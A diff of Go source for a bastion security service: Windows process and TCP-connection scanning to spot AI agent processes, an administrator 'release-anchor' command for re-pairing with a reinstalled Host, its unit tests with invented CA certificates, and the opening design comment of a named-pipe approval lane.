// scanProcesses: an error is a snapshot that did not happen (Toolhelp can
|
||||
// fail transiently), never an empty box; the heartbeat withholds `agents`.
|
||||
func scanProcesses() (map[int]agentObs, error) {
|
||||
out := map[int]agentObs{}
|
||||
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("process snapshot: %w", err)
|
||||
}
|
||||
defer windows.CloseHandle(snap)
|
||||
|
||||
var e windows.ProcessEntry32
|
||||
e.Size = uint32(unsafe.Sizeof(e))
|
||||
self := os.Getpid()
|
||||
parents := map[int]int{}
|
||||
defer func() {
|
||||
winParents.Lock()
|
||||
winParents.m = parents
|
||||
winParents.Unlock()
|
||||
}()
|
||||
// The loop ends on ERROR_NO_MORE_FILES; any other error — Process32First
|
||||
// refusing a snapshot it just handed out — is a walk that did not happen.
|
||||
for err = windows.Process32First(snap, &e); err == nil; err = windows.Process32Next(snap, &e) {
|
||||
pid := int(e.ProcessID)
|
||||
if pp := int(e.ParentProcessID); pid > 0 && pp > 0 {
|
||||
parents[pid] = pp
|
||||
}
|
||||
if pid <= 0 || pid == self {
|
||||
continue
|
||||
}
|
||||
exe := windows.UTF16ToString(e.ExeFile[:])
|
||||
base := binBase(exe)
|
||||
_, direct := agentBinaries[base]
|
||||
_, autoDirect := automationBinaries[base]
|
||||
if !direct && !autoDirect && !interpreters[base] {
|
||||
continue // not a candidate: never pay for a memory read
|
||||
}
|
||||
// argv[0] comes from Toolhelp (always right); the raw command line is
|
||||
// appended as one element purely so the substring rules can see it.
|
||||
// No tokenizing: Windows command lines are a single quoted string, and
|
||||
// splitting one on spaces mangles "C:\Program Files\..." into a
|
||||
// basename that matches nothing.
|
||||
// ONE handle for all three reads. Opening the process per field cost
|
||||
// three OpenProcess/CloseHandle round trips for every candidate on
|
||||
// every beat, and could even disagree with itself if the pid was
|
||||
// recycled between them.
|
||||
argv := []string{exe}
|
||||
cmdline, user, token, image := "", "", "", ""
|
||||
if h, herr := winOpenForRead(pid); herr == nil {
|
||||
cmdline = winCmdline(h)
|
||||
user = winTokenUser(h)
|
||||
token = winAgentToken(h)
|
||||
image = winImagePath(h)
|
||||
windows.CloseHandle(h)
|
||||
} else if h, herr := windows.OpenProcess(
|
||||
windows.PROCESS_QUERY_LIMITED_INFORMATION, false, uint32(pid)); herr == nil {
|
||||
// The image path needs strictly LESS than the reads above:
|
||||
// QueryFullProcessImageName takes QUERY_LIMITED_INFORMATION alone,
|
||||
// while the PEB walk also needs VM_READ. So a process whose memory
|
||||
// this bastion may not read can still say which FILE it is running —
|
||||
// and that is the difference between an observation the user can
|
||||
// mark as theirs and one they cannot (sanction.go refuses to mark an
|
||||
// observation with no path). Without this branch, every process that
|
||||
// refused the combined open would be permanently unsanctionable.
|
||||
image = winImagePath(h)
|
||||
windows.CloseHandle(h)
|
||||
}
|
||||
if cmdline != "" {
|
||||
argv = append(argv, cmdline)
|
||||
}
|
||||
sig, auto, ok := matchSignature(argv)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
shown := cmdline
|
||||
if shown == "" {
|
||||
shown = exe
|
||||
}
|
||||
out[pid] = agentObs{PID: pid, User: user, Signature: sig,
|
||||
Cmdline: truncate(shown, 200), Exe: image,
|
||||
DelegationToken: token, raw: shown, automation: auto}
|
||||
}
|
||||
if !errors.Is(err, windows.ERROR_NO_MORE_FILES) {
|
||||
return nil, fmt.Errorf("process walk: %w", err)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ── connections: GetExtendedTcpTable ────────────────────────────────────────
|
||||
|
||||
var (
|
||||
modIphlpapi = windows.NewLazySystemDLL("iphlpapi.dll")
|
||||
procGetExtendedTcpTable = modIphlpapi.NewProc("GetExtendedTcpTable")
|
||||
)
|
||||
|
||||
const (
|
||||
winAFInet = 2 // AF_INET
|
||||
winAFInet6 = 23 // AF_INET6
|
||||
// TCP_TABLE_OWNER_PID_CONNECTIONS — connected sockets with their owning pid.
|
||||
winTCPTableOwnerPIDConnections = 4
|
||||
winErrInsufficientBuffer = 122
|
||||
)
|
||||
|
||||
// extendedTCPTable fetches the owner-pid TCP table for one address family.
|
||||
// Two-pass sizing, with a couple of retries because the table can grow between
|
||||
// the sizing call and the read.
|
||||
func extendedTCPTable(af uint32) ([]byte, error) {
|
||||
var size uint32
|
||||
r, _, _ := procGetExtendedTcpTable.Call(0, uintptr(unsafe.Pointer(&size)), 0,
|
||||
uintptr(af), winTCPTableOwnerPIDConnections, 0)
|
||||
if r != 0 && r != winErrInsufficientBuffer {
|
||||
return nil, syscall.Errno(r)
|
||||
}
|
||||
for attempt := 0; attempt < 3; attempt++ {
|
||||
if size == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
buf := make([]byte, size)
|
||||
r, _, _ = procGetExtendedTcpTable.Call(uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(unsafe.Pointer(&size)), 0, uintptr(af), winTCPTableOwnerPIDConnections, 0)
|
||||
if r == 0 {
|
||||
return buf, nil
|
||||
}
|
||||
if r != winErrInsufficientBuffer {
|
||||
return nil, syscall.Errno(r)
|
||||
}
|
||||
// size now holds the larger requirement; loop and try again.
|
||||
}
|
||||
return nil, errors.New("GetExtendedTcpTable: table kept growing")
|
||||
}
|
||||
|
||||
func scanConnections() []connObs {
|
||||
self := os.Getpid()
|
||||
conns := []connObs{}
|
||||
for _, fam := range []struct {
|
||||
af uint32
|
||||
v6 bool
|
||||
}{{winAFInet, false}, {winAFInet6, true}} {
|
||||
buf, err := extendedTCPTable(fam.af)
|
||||
if err != nil || len(buf) == 0 {
|
||||
continue // one family failing must not lose the other
|
||||
}
|
||||
conns = append(conns, parseTCPTable(buf, fam.v6, self)...)
|
||||
}
|
||||
return conns
|
||||
}
|
||||
|
||||
// ── per-process detail ──────────────────────────────────────────────────────
|
||||
|
||||
// winTokenUser resolves the owner of an ALREADY-OPEN process handle, so a
|
||||
// caller holding one handle can read every field from it.
|
||||
func winTokenUser(h windows.Handle) string {
|
||||
var tok windows.Token
|
||||
if err := windows.OpenProcessToken(h, windows.TOKEN_QUERY, &tok); err != nil {
|
||||
return ""
|
||||
}
|
||||
defer tok.Close()
|
||||
tu, err := tok.GetTokenUser()
|
||||
if err != nil || tu.User.Sid == nil {
|
||||
return ""
|
||||
}
|
||||
account, domain, _, err := tu.User.Sid.LookupAccount("")
|
||||
if err != nil {
|
||||
return tu.User.Sid.String()
|
||||
}
|
||||
if domain != "" {
|
||||
return domain + `\` + account
|
||||
}
|
||||
return account
|
||||
}
|
||||
|
||||
func procUser(pid int) string {
|
||||
h, err := winOpenForRead(pid)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer windows.CloseHandle(h)
|
||||
return winTokenUser(h)
|
||||
}
|
||||
|
||||
func procCmdline(pid int) string {
|
||||
h, err := winOpenForRead(pid)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer windows.CloseHandle(h)
|
||||
return truncate(strings.TrimSpace(winCmdline(h)), 200)
|
||||
}
|
||||
|
||||
// procExe is the KERNEL's executable path for one pid. It opens with
|
||||
// QUERY_LIMITED_INFORMATION alone — the least right that answers
|
||||
// QueryFullProcessImageName, and less than winOpenForRead asks for — so a
|
||||
// process whose memory is closed to this bastion still reports which file it
|
||||
// runs. "" when even that handle is refused.
|
||||
func procExe(pid int) string {
|
||||
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, uint32(pid))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer windows.CloseHandle(h)
|
||||
return winImagePath(h)
|
||||
}
|
||||
|
||||
// winAgentToken reads the delegation tag out of an already-open process
|
||||
// handle, under either accepted name. One handle, both names: the environment
|
||||
// block is read per call, and re-opening the process for the second name could
|
||||
// land on a recycled pid.
|
||||
func winAgentToken(h windows.Handle) string {
|
||||
for _, name := range agentTokenEnvNames {
|
||||
if tok := winEnvValue(h, name); tok != "" {
|
||||
return tok
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// procEnvToken reads the host-issued delegation tag (PRIVATAE_AGENT_TOKEN, or
|
||||
// its older name; see agentTokenEnvNames) from the agent's environment block.
|
||||
func procEnvToken(pid int) string {
|
||||
h, err := winOpenForRead(pid)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer windows.CloseHandle(h)
|
||||
return winAgentToken(h)
|
||||
}
|
||||
+1308
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,211 @@
|
||||
package main
|
||||
|
||||
// anchor_release.go — `privatae-bastion release-anchor --host <name>`: let go
|
||||
// of an anchor whose Host is gone.
|
||||
//
|
||||
// THE CASE. A Host that runs on this machine is deleted with its data and set
|
||||
// up again (`npx cseries uninstall --delete-data`, then `npx cseries`). The new
|
||||
// Host has a new CA and a new signing key. The bastion, anchored to the old
|
||||
// one, cannot take it:
|
||||
//
|
||||
// - `pair --replace` under another CA is refused (pair_tcp.go), rightly: a
|
||||
// Host keeps its CA for life;
|
||||
// - the anchor cannot be unpaired (config.go unpairHost);
|
||||
// - a new pairing waits, pending, for the old anchor to approve it (pair.go);
|
||||
// - rotating the anchor needs the old anchor's consent or 14 days of its
|
||||
// silence (anchor.go rotationPermitted), and the old one is gone.
|
||||
//
|
||||
// So the machine's administrator says so. This command, with machine
|
||||
// authority:
|
||||
//
|
||||
// 0. checks that the Host is gone: --host-ca names the CA the new Host
|
||||
// brought, and it is refused when that is the CA this box pinned for the
|
||||
// host (releaseCARefusal). The same CA is the same Host, alive. Only
|
||||
// --force, taken at a terminal and never from an installer, skips this;
|
||||
// 1. drops the anchor, if it is the named host (anchor.json and any rotation
|
||||
// consent left for it). A box anchored to another host is refused: naming
|
||||
// the host is the check that this is the anchor the administrator means;
|
||||
// 2. unpairs that host;
|
||||
// 3. sets its DCN state aside (dcn/<host> → dcn/<host>.released-<when>): the
|
||||
// signing key pinned for the old Host, the second factor enrolled for it
|
||||
// and the grants it signed. A new pairing under the same name would
|
||||
// otherwise inherit that pin, and every grant the new Host signs would be
|
||||
// refused as a key mismatch. Nothing is deleted.
|
||||
//
|
||||
// After it the box is unanchored, and a networked box with no anchor serves
|
||||
// nothing (anchor.go), so the next steps belong in the same breath: `pair` the
|
||||
// new Host, then `claim-anchor`.
|
||||
//
|
||||
// It adds no power. An administrator could already delete anchor.json by hand
|
||||
// (anchor.go header); this does it with the checks above, and says what it did.
|
||||
// Approval device keys pinned on the old anchor go with anchor.json and are
|
||||
// pinned again with pin-device. Running it again finds nothing left and
|
||||
// succeeds, so an installer can retry a step that stopped half-way.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// releaseConsole is a seam so the suite drives --force on any machine; nothing
|
||||
// outside tests assigns it.
|
||||
var releaseConsole = stdioIsConsole
|
||||
|
||||
// releaseCARefusal says why the Host being released is not shown to be gone,
|
||||
// or "" when it is: the CA its replacement brought (newCA, from --host-ca)
|
||||
// must differ from the one this box pinned for it. The same CA is the same
|
||||
// Host, alive, and releasing it would drop a live anchor and set aside its key
|
||||
// pin and factor for nothing. A pin this box does not hold cannot be compared,
|
||||
// so that too is refused; --force, at a terminal, is the administrator saying
|
||||
// they know.
|
||||
func releaseCARefusal(name, pinned, newCA string) string {
|
||||
switch {
|
||||
case newCA == "":
|
||||
return "name the new Host's CA with --host-ca <pem file>: release-anchor lets go only of a Host whose CA has changed (its data was deleted)"
|
||||
case strings.TrimSpace(pinned) == "":
|
||||
return "this box pinned no Host CA for " + name + ", so a changed CA cannot be shown"
|
||||
case sameCAs(pinned, newCA):
|
||||
return "the CA given with --host-ca is the one " + name + " is paired with, so that Host is not gone"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func cmdReleaseAnchor(host, hostCAFile string, force bool) error {
|
||||
if err := requireMachineAuthority("release-anchor"); err != nil {
|
||||
return err
|
||||
}
|
||||
if !validHostName(host) {
|
||||
return fmt.Errorf("%q is not a host name", host)
|
||||
}
|
||||
// --force skips the CA check, so it is taken only from a person at a
|
||||
// terminal. An installer runs its commands with their output captured and
|
||||
// never passes it.
|
||||
if force && !releaseConsole() {
|
||||
return errors.New("release-anchor --force is taken only in an Administrator terminal; this one's input or output " +
|
||||
"goes to a file or a pipe — nothing was released")
|
||||
}
|
||||
newCA := ""
|
||||
if hostCAFile != "" {
|
||||
ca, err := loadHostCA(hostCAFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
newCA = ca
|
||||
}
|
||||
if err := singletonGuardForPair(); err != nil {
|
||||
return err
|
||||
}
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// The exact name (or its handle), never a prefix: this removes a pairing.
|
||||
cfg := pairingFor(cfgs, host)
|
||||
name := host
|
||||
if cfg != nil {
|
||||
name = cfg.HostName
|
||||
}
|
||||
|
||||
// Is there anything to release, and is the Host it belongs to gone? Both
|
||||
// before anything changes.
|
||||
a := currentAnchor()
|
||||
if a != nil && a.AnchorHost != name {
|
||||
return fmt.Errorf("this box is anchored to %s, not %s — release-anchor names the anchor it releases", a.AnchorHost, name)
|
||||
}
|
||||
if !force && (a != nil || cfg != nil) {
|
||||
pinned := ""
|
||||
if cfg != nil {
|
||||
pinned = cfg.CACert
|
||||
}
|
||||
if why := releaseCARefusal(name, pinned, newCA); why != "" {
|
||||
return fmt.Errorf("%s — nothing was released. If the Host really is gone, run from an Administrator terminal: "+
|
||||
"privatae-bastion release-anchor --host %s --force", why, name)
|
||||
}
|
||||
}
|
||||
|
||||
// 1. The anchor, if it is this host.
|
||||
released := false
|
||||
if a != nil {
|
||||
devices := len(deviceKeys())
|
||||
anchorMu.Lock()
|
||||
err := removeAnchorFiles()
|
||||
anchorMu.Unlock()
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not release the anchor: %w", err)
|
||||
}
|
||||
released = true
|
||||
fmt.Printf("released the anchor (%s)\n", name)
|
||||
if devices > 0 {
|
||||
fmt.Printf(" %d approval device key(s) were pinned on it; pin them again after claim-anchor (privatae-bastion pin-device <key>)\n", devices)
|
||||
}
|
||||
} else if f, err := loadAnchorFile(); err == nil && f != nil && f.AnchorHost != "" && f.AnchorHost != name {
|
||||
// An anchor file that does not verify is no anchor, but one naming
|
||||
// another host is still not this command's to remove.
|
||||
return fmt.Errorf("this box's anchor file names %s, not %s — release-anchor names the anchor it releases", f.AnchorHost, name)
|
||||
}
|
||||
|
||||
// 2 and 3. The pairing, and its DCN state set aside.
|
||||
if cfg == nil {
|
||||
if !released {
|
||||
fmt.Printf("nothing to release: %s is neither this box's anchor nor one of its pairings\n", name)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
dcn := cfg.DCNDir
|
||||
if dcn == "" {
|
||||
if d, err := configDirPath(); err == nil {
|
||||
dcn = d + string(os.PathSeparator) + "dcn" + string(os.PathSeparator) + cfg.HostName
|
||||
}
|
||||
}
|
||||
if _, err := unpairHost(cfg.HostName); err != nil {
|
||||
return fmt.Errorf("released the anchor, but could not unpair %s: %w", cfg.HostName, err)
|
||||
}
|
||||
fmt.Printf("unpaired %s\n", cfg.HostName)
|
||||
if dcn != "" {
|
||||
aside, err := setDCNStateAside(dcn, time.Now())
|
||||
switch {
|
||||
case err != nil:
|
||||
return fmt.Errorf("unpaired %s, but could not set its DCN state aside (%s): %w — move it away by hand before pairing the new Host", cfg.HostName, dcn, err)
|
||||
case aside != "":
|
||||
fmt.Printf(" its key pin, second factor and grants are kept, set aside, in %s\n", aside)
|
||||
}
|
||||
}
|
||||
fmt.Println(" Next: pair the new Host, then `privatae-bastion claim-anchor`. Until then this box serves nothing.")
|
||||
return nil
|
||||
}
|
||||
|
||||
// removeAnchorFiles removes anchor.json and a consent left for rotating it.
|
||||
// The caller holds anchorMu.
|
||||
func removeAnchorFiles() error {
|
||||
p, err := anchorPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.Remove(p); err != nil && !errors.Is(err, fs.ErrNotExist) {
|
||||
return err
|
||||
}
|
||||
if c, err := anchorConsentPath(); err == nil {
|
||||
_ = os.Remove(c)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// setDCNStateAside renames a released pairing's DCN directory out of the way of
|
||||
// a new pairing under the same name. "" when there was none.
|
||||
func setDCNStateAside(dir string, now time.Time) (string, error) {
|
||||
if _, err := os.Lstat(dir); err != nil {
|
||||
if errors.Is(err, fs.ErrNotExist) {
|
||||
return "", nil
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
aside := dir + ".released-" + now.UTC().Format("20060102T150405Z")
|
||||
if err := os.Rename(dir, aside); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return aside, nil
|
||||
}
|
||||
@@ -0,0 +1,242 @@
|
||||
//go:build !windows
|
||||
|
||||
// Uses setupBox, withMarkerAt and withMachineAuthority, which live behind
|
||||
// //go:build !windows (see anchor_test.go's header).
|
||||
|
||||
package main
|
||||
|
||||
// release-anchor (anchor_release.go): a Host deleted with its data and set up
|
||||
// again can be paired and anchored on this box, through the administrator,
|
||||
// and through nobody else. Every value here is invented.
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rand"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/base64"
|
||||
"encoding/pem"
|
||||
"math/big"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// releaseTestCA is an invented self-signed CA certificate, PEM.
|
||||
func releaseTestCA(t *testing.T, cn string) string {
|
||||
t.Helper()
|
||||
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
tpl := &x509.Certificate{SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: cn},
|
||||
NotBefore: time.Now().Add(-time.Hour), NotAfter: time.Now().Add(time.Hour),
|
||||
IsCA: true, BasicConstraintsValid: true, KeyUsage: x509.KeyUsageCertSign}
|
||||
der, err := x509.CreateCertificate(rand.Reader, tpl, tpl, &key.PublicKey, key)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der}))
|
||||
}
|
||||
|
||||
func releaseTestCAFile(t *testing.T, pemText string) string {
|
||||
t.Helper()
|
||||
p := filepath.Join(t.TempDir(), "host-ca.pem")
|
||||
if err := os.WriteFile(p, []byte(pemText), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// releaseTestBox is a box anchored to tAnchor, which pinned oldCA, with the
|
||||
// state the dead Host left. It returns that state's directory and oldCA.
|
||||
func releaseTestBox(t *testing.T) (dcn, oldCA string) {
|
||||
t.Helper()
|
||||
setupBox(t)
|
||||
// A marker of this test's own: the machine-scoped one belongs to whatever
|
||||
// bastion is installed where the suite runs (TestClaimAnchorWalls says why).
|
||||
withMarkerAt(t, filepath.Join(t.TempDir(), "machine.json"))
|
||||
prev := unpairNeedsRoot
|
||||
unpairNeedsRoot = func() bool { return false }
|
||||
t.Cleanup(func() { unpairNeedsRoot = prev })
|
||||
prevConsole := releaseConsole
|
||||
releaseConsole = func() bool { return false }
|
||||
t.Cleanup(func() { releaseConsole = prevConsole })
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c := pairingFor(cfgs, tAnchor)
|
||||
oldCA = releaseTestCA(t, "old host CA (invented)")
|
||||
c.CACert = oldCA
|
||||
if err := c.save(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
dcn = c.dcnDir()
|
||||
// What the dead Host left: its pinned signing key and the factor enrolled for it.
|
||||
if err := os.WriteFile(filepath.Join(dcn, "dcn.json"), []byte(`{"verify_pubkey":"`+base64.StdEncoding.EncodeToString(make([]byte, 32))+`"}`), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := stepupSave(dcn, &stepupFile{SecretB32: pipeTestSecret, EnrolledAt: "2026-10-01T00:00:00Z", LastCounter: -1}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return dcn, oldCA
|
||||
}
|
||||
|
||||
// stillAnchoredAndPaired fails the test unless nothing was released.
|
||||
func stillAnchoredAndPaired(t *testing.T, dcn, why string) {
|
||||
t.Helper()
|
||||
if a := currentAnchor(); a == nil || a.AnchorHost != tAnchor {
|
||||
t.Fatalf("%s: the anchor was dropped", why)
|
||||
}
|
||||
cfgs, _ := loadPairings()
|
||||
if pairingFor(cfgs, tAnchor) == nil {
|
||||
t.Fatalf("%s: the Host was unpaired", why)
|
||||
}
|
||||
if !fileExists(filepath.Join(dcn, "stepup.json")) {
|
||||
t.Fatalf("%s: the Host's factor was set aside", why)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReleaseAnchorRefusesAHostWhoseCAIsUnchanged(t *testing.T) {
|
||||
dcn, oldCA := releaseTestBox(t)
|
||||
withMachineAuthority(t, true)
|
||||
// The same CA is the same Host, alive: refused, and nothing changes.
|
||||
err := cmdReleaseAnchor(tAnchor, releaseTestCAFile(t, oldCA), false)
|
||||
if err == nil || !strings.Contains(err.Error(), "is not gone") {
|
||||
t.Fatalf("the same Host's CA must be refused: %v", err)
|
||||
}
|
||||
stillAnchoredAndPaired(t, dcn, "same CA")
|
||||
// No CA at all: nothing shows the Host is gone.
|
||||
if err := cmdReleaseAnchor(tAnchor, "", false); err == nil || !strings.Contains(err.Error(), "--host-ca") {
|
||||
t.Fatalf("a release with no new CA must be refused: %v", err)
|
||||
}
|
||||
stillAnchoredAndPaired(t, dcn, "no CA")
|
||||
// --force is for a person at a terminal; an installer's captured output is not one.
|
||||
if err := cmdReleaseAnchor(tAnchor, "", true); err == nil || !strings.Contains(err.Error(), "Administrator terminal") {
|
||||
t.Fatalf("--force off a console must be refused: %v", err)
|
||||
}
|
||||
stillAnchoredAndPaired(t, dcn, "--force off a console")
|
||||
// At a terminal, --force releases even the same CA.
|
||||
releaseConsole = func() bool { return true }
|
||||
if err := cmdReleaseAnchor(tAnchor, releaseTestCAFile(t, oldCA), true); err != nil {
|
||||
t.Fatalf("--force at a terminal: %v", err)
|
||||
}
|
||||
if currentAnchor() != nil {
|
||||
t.Fatal("--force at a terminal did not release the anchor")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReleaseAnchorRefusesWhenThisBoxPinnedNoCA(t *testing.T) {
|
||||
dcn, _ := releaseTestBox(t)
|
||||
withMachineAuthority(t, true)
|
||||
cfgs, _ := loadPairings()
|
||||
c := pairingFor(cfgs, tAnchor)
|
||||
c.CACert = ""
|
||||
if err := c.save(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err := cmdReleaseAnchor(tAnchor, releaseTestCAFile(t, releaseTestCA(t, "new host CA (invented)")), false)
|
||||
if err == nil || !strings.Contains(err.Error(), "pinned no Host CA") {
|
||||
t.Fatalf("with no pin to compare, only --force releases: %v", err)
|
||||
}
|
||||
stillAnchoredAndPaired(t, dcn, "no pin")
|
||||
}
|
||||
|
||||
func TestAReinstalledHostCannotPairAnAnchoredBoxWithoutTheRelease(t *testing.T) {
|
||||
releaseTestBox(t)
|
||||
cfgs, _ := loadPairings()
|
||||
// The same name: refused as already paired, and --replace keeps the old CA
|
||||
// (pair_tcp.go), so the new Host has no way in.
|
||||
if _, _, err := pairPrecheck(cfgs, handleOf(tAnchor), false, false); err == nil {
|
||||
t.Fatal("a second pairing under the anchor's name was let through")
|
||||
}
|
||||
// Another name: it would wait, pending, for an anchor that is gone.
|
||||
if _, state, err := pairPrecheck(cfgs, "fresh-host", false, false); err != nil || state != pairingPending {
|
||||
t.Fatalf("a new Host on an anchored box waits for the anchor: state %q err %v", state, err)
|
||||
}
|
||||
// And the anchor cannot be unpaired.
|
||||
if _, err := unpairHost(tAnchor); err == nil {
|
||||
t.Fatal("the anchor was unpaired")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReleaseAnchorNeedsMachineAuthorityAndTheAnchorsName(t *testing.T) {
|
||||
releaseTestBox(t)
|
||||
newCA := releaseTestCAFile(t, releaseTestCA(t, "new host CA (invented)"))
|
||||
withMachineAuthority(t, false)
|
||||
if err := cmdReleaseAnchor(tAnchor, newCA, false); err == nil || !strings.Contains(err.Error(), "machine authority") {
|
||||
t.Fatalf("release without machine authority: %v", err)
|
||||
}
|
||||
withMachineAuthority(t, true)
|
||||
writePairing(t, tMember)
|
||||
if err := cmdReleaseAnchor(tMember, newCA, false); err == nil || !strings.Contains(err.Error(), "anchored to "+tAnchor) {
|
||||
t.Fatalf("releasing a host that is not the anchor must be refused: %v", err)
|
||||
}
|
||||
if a := currentAnchor(); a == nil || a.AnchorHost != tAnchor {
|
||||
t.Fatal("a refused release changed the anchor")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReleaseAnchorLetsANewHostPairAndAnchor(t *testing.T) {
|
||||
dcn, _ := releaseTestBox(t)
|
||||
newCA := releaseTestCAFile(t, releaseTestCA(t, "new host CA (invented)"))
|
||||
withMachineAuthority(t, true)
|
||||
if p, err := anchorConsentPath(); err == nil {
|
||||
_ = os.WriteFile(p, []byte(`{}`), 0o600)
|
||||
}
|
||||
if err := cmdReleaseAnchor(tAnchor, newCA, false); err != nil {
|
||||
t.Fatalf("release: %v", err)
|
||||
}
|
||||
if currentAnchor() != nil {
|
||||
t.Fatal("still anchored")
|
||||
}
|
||||
if p, _ := anchorConsentPath(); fileExists(p) {
|
||||
t.Fatal("a rotation consent for the released anchor was left behind")
|
||||
}
|
||||
cfgs, _ := loadPairings()
|
||||
if pairingFor(cfgs, tAnchor) != nil {
|
||||
t.Fatal("the released Host is still paired")
|
||||
}
|
||||
if fileExists(dcn) {
|
||||
t.Fatal("the released Host's DCN state is still where a new pairing of that name would read it")
|
||||
}
|
||||
aside, _ := filepath.Glob(dcn + ".released-*")
|
||||
if len(aside) != 1 || !fileExists(filepath.Join(aside[0], "stepup.json")) || !fileExists(filepath.Join(aside[0], "dcn.json")) {
|
||||
t.Fatalf("its state must be kept, set aside: %v", aside)
|
||||
}
|
||||
// Again: nothing is left to release, and that is not an error, so an
|
||||
// installer can retry a step that stopped half-way.
|
||||
if err := cmdReleaseAnchor(tAnchor, newCA, false); err != nil {
|
||||
t.Fatalf("a second release must succeed with nothing to do: %v", err)
|
||||
}
|
||||
|
||||
// The new Host, under the same name: the precheck lets it in as active,
|
||||
// and it starts with no inherited pin and no inherited factor.
|
||||
if _, state, err := pairPrecheck(cfgs, handleOf(tAnchor), false, false); err != nil || (state != "" && state != pairingActive) {
|
||||
t.Fatalf("the new Host must pair as active: state %q err %v", state, err)
|
||||
}
|
||||
writePairing(t, tAnchor)
|
||||
cfgs, _ = loadPairings()
|
||||
fresh := pairingFor(cfgs, tAnchor).dcnDir()
|
||||
if stepupEnrolled(fresh) || fileExists(filepath.Join(fresh, "dcn.json")) {
|
||||
t.Fatal("the new pairing inherited the old Host's pin or factor")
|
||||
}
|
||||
if err := cmdClaimAnchor("", false, "", ""); err != nil {
|
||||
t.Fatalf("claim-anchor after the release: %v", err)
|
||||
}
|
||||
if a := currentAnchor(); a == nil || a.AnchorHost != tAnchor {
|
||||
t.Fatalf("not anchored to the new Host: %+v", a)
|
||||
}
|
||||
if anchorVerifyKey() != "" {
|
||||
t.Fatal("the new anchor carries a key pin; it must be pinned on the new Host's first contact")
|
||||
}
|
||||
}
|
||||
|
||||
func fileExists(p string) bool {
|
||||
_, err := os.Stat(p)
|
||||
return err == nil
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,517 @@
|
||||
package main
|
||||
|
||||
// approvalpipe.go — the signed-in person's lane to a bastion that runs as the
|
||||
// machine's system service.
|
||||
//
|
||||
// THE PROBLEM. On Windows a networked bastion is a LocalSystem service
|
||||
// (sysservice_windows.go), and its state, the TOTP secrets included, sits in
|
||||
// LocalSystem's profile. The person at the machine works in their own,
|
||||
// unelevated account. Before this lane the only places to answer a Host's
|
||||
// request were an Administrator terminal and the admin page, both behind a UAC
|
||||
// prompt, so every approval cost a prompt.
|
||||
//
|
||||
// THE LANE. The service serves a named pipe. The tray, running as the person
|
||||
// (tray_pipe_windows.go), connects and can do exactly three things:
|
||||
//
|
||||
// - list what is pending, in the operation's own words: describeRequest,
|
||||
// the same text `privatae-bastion approvals` prints;
|
||||
// - approve ONE request id with a code from the authenticator enrolled on
|
||||
// this machine, verified by the existing step-up check (stepupApproveRequest)
|
||||
// and bound to the purpose the tray showed (purpose_sha256);
|
||||
// - deny one request id, which needs no code, as on every other lane.
|
||||
//
|
||||
// WHAT NEVER CROSSES IT. The TOTP secret, ui.secret, an approval id, a device
|
||||
// approval. The secret stays in the service's state; the tray sends a code and
|
||||
// gets back "approved" or why not. Device approvals (uidevice.go) are not
|
||||
// listed at all: they need no code, so offering them here would let any
|
||||
// process running as the person approve them.
|
||||
//
|
||||
// WHO MAY CONNECT. The pipe's ACL admits interactive users only. The service
|
||||
// then identifies the client from the pipe itself (GetNamedPipeClientProcessId
|
||||
// and that process's token) and serves only a process running as the person
|
||||
// signed in to that process's own session, in a session someone is in front of
|
||||
// (pipeClientRefusal). A runas process of another account inside the session,
|
||||
// a service, session 0 and a disconnected session are refused. Of those people,
|
||||
// it serves only the account that owns this machine's approvals, recorded in
|
||||
// the service's state by the installer (approvals_owner.go).
|
||||
//
|
||||
